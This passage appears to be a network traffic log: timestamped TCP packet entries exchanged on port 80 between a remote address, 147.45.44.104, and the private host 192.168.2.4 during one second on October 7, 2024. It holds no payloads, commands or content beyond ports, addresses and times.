Oct 7, 2024 18:43:46.137142897 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137152910 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137180090 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.137187958 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137191057 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.137198925 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137209892 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137219906 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137231112 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.137236118 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.137264967 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.139012098 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.139101028 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.139139891 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.219957113 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.219990969 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220006943 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220024109 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220048904 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220055103 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220072031 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220088005 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220097065 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220107079 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220119953 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220124960 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220129013 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220140934 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220146894 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220158100 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220175028 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220196009 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220211029 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220226049 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220236063 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220257044 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220267057 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220417976 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220433950 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220449924 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220463037 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220464945 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220473051 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220484972 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220493078 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220503092 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220525026 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220527887 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220554113 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220567942 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220568895 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220583916 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220587969 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220601082 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220606089 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220618963 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220635891 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220699072 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220738888 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220789909 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220804930 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220819950 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220829010 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220844030 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220849991 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220865011 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.220865965 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220892906 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.220902920 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221020937 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221052885 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221062899 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221067905 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221093893 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221115112 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221116066 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221131086 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221146107 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221160889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221188068 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221205950 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221220970 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221250057 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221493959 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221509933 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221529007 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221535921 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221549034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221561909 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221651077 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221664906 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221679926 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221688986 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221693993 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221702099 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221710920 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221720934 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221725941 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221733093 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221741915 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221754074 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221757889 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221769094 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221774101 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221788883 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221790075 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221800089 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221805096 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221822023 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.221824884 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221858025 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221868992 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.221961021 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222002983 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222064972 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222079039 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222095013 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222105026 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222109079 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222116947 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222125053 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222136021 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222146034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222167015 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222176075 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222189903 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222213030 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222214937 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222225904 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222234964 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222249985 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222255945 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222264051 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222265005 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222280979 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222285986 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222295046 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222296953 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222310066 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.222318888 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222328901 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.222349882 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.225212097 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.225235939 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.225250006 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.225258112 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.225263119 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.225266933 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.225291967 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.225306034 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.263185024 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.263231993 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.263426065 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.263472080 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.304387093 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.304416895 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.304433107 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.304445982 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.304460049 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.304461956 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.304475069 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.304480076 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.304513931 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.304526091 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.305919886 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.305934906 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.305965900 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.305965900 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.305974960 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.305989981 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306005001 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306013107 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306025982 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306029081 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306044102 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306051970 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306061029 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306062937 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306082964 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306091070 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306099892 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306114912 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306128025 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306138039 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306143045 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306157112 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306166887 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306180954 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306185007 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306196928 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306210995 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306225061 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306231022 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306240082 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306252003 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306276083 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306293011 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306299925 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306313992 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306328058 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306339979 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306344986 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306349993 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306370974 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306382895 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306440115 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306453943 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306468964 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306479931 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306490898 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306509018 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306623936 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306638956 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306654930 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306667089 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306670904 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306679010 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306696892 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306705952 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306715965 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306729078 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306745052 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306746006 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306761026 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306766987 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306777000 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306782961 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306792021 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306798935 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306807995 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306818008 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306823969 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306826115 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306838989 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.306847095 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306859970 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.306878090 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307133913 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307148933 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307164907 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307178020 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307180882 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307185888 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307209969 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307212114 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307220936 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307256937 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307271004 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307271957 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307288885 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307296038 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307303905 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307321072 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307321072 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307321072 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307337999 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307344913 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307363033 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307375908 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307418108 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307432890 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307446957 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307459116 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307461977 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307467937 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307477951 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307487011 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307492971 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307507038 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307511091 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307516098 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307537079 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307537079 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307548046 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307560921 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307574987 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307579041 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307590008 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307599068 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307605028 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307612896 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307625055 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307642937 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307650089 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307653904 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307672977 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307674885 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307691097 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307699919 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307706118 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307713985 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307720900 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307729006 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307737112 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307749033 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307751894 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307760954 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307782888 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307786942 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307796001 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307801962 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307816982 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307826042 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307831049 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307837009 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307847023 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307858944 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307861090 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307867050 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307876110 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307883978 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307894945 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307909012 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307920933 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307924986 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307940960 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307945967 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307960987 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307971001 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307976007 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307981014 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.307991982 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.307998896 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308007002 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308016062 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308022022 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308036089 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308037043 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308051109 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308058023 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308074951 CEST	51636	80	192.168.2.4	147.45.44.104
Oct 7, 2024 18:43:46.308096886 CEST	80	51636	147.45.44.104	192.168.2.4
Oct 7, 2024 18:43:46.308096886 CEST	51636	80	192.168.2.4	147.45.44.104
